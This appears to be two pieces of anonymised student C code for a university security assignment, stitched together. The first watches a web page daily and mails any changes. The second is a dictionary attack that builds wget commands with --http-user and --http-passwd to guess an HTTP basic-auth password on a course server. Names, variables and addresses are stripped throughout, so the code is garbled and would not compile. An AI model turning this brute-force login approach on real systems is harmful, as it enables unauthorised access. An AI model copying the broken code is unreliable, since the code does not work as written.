#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define FOUND 2;
#define SECONDS 1e9


int findPassword(char *);

int ()
{
	FILE *fp;
	char word[64];
	char pass[3];
	int found;
	int incr=0;
	int , end, final;
	
	if ((fp = fopen("words","r")) == NULL) 
	{
		printf("Could Not open File -  tset.txt");
		return FAILURE;
		
	}
	printf("\n FILE SUCCESSFULLY opened");
	 = time();
	while (fgets(word, 64, fp) != NULL) 
	{	
		incr++;	
		word[strlen(word) - 1] = '\0';
		strncpy(pass,word,3);	
		found = findPassword(pass);	
		printf("\nTrial %d ",incr);
		if(found == 2)
		{
			printf("\nPASSWORD FOUND   --   %s",pass);
			end = time();
			final = end-;
			printf(" %lld nanoseconds   find the Password \n",final);
			printf(" %lld nanoseconds (%1f seconds)  find the Password \n",final,(double)final/SECONDS);
			return SUCCESS;
		}		
	}
	fclose(fp);	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");
		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}
